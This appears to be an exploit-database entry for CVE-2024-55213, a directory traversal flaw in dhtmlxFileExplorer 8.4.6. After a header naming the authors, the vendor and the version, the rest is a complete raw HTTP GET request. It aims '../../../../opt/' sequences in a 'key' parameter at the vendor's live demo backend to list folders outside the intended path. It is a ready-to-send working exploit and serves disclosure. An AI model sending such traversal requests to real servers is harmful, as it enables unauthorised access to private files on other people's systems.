# Exploit Title: dhtmlxFileExplorer 8.4.6 - Access Sensitive Floder via Directory Traversal in DHX File Exlploer # Date: Feb 6, 2025 # Exploit Author: Nutchaya Augkanavitayakul, Nattachai Wanmak, Pongtorn Angsuchotmetee # Vendor Homepage: https://dhtmlx.com # Software Link: https://dhtmlx.com # Version: 8.4.6 # Tested on: macOS # CVE : CVE-2024-55213 GET /docs/products/demoApps/dhtmlxFileExplorerDemo/backend/folders?key=ui346173977045/My%20files/Documents/../../../../opt/ HTTP/1.1 Host: dhtmlx.com Sec-Ch-Ua: "Not;A=Brand";v="24", "Chromium";v="128" Accept-Language: en-US,en;q=0.9 Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36 Sec-Ch-Ua-Platform: "macOS" Accept: */* Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://dhtmlx.com/docs/products/demoApps/dhtmlxFileExplorerDemo/ Accept-Encoding: gzip, deflate, br Priority: u=1, i Connection: keep-alive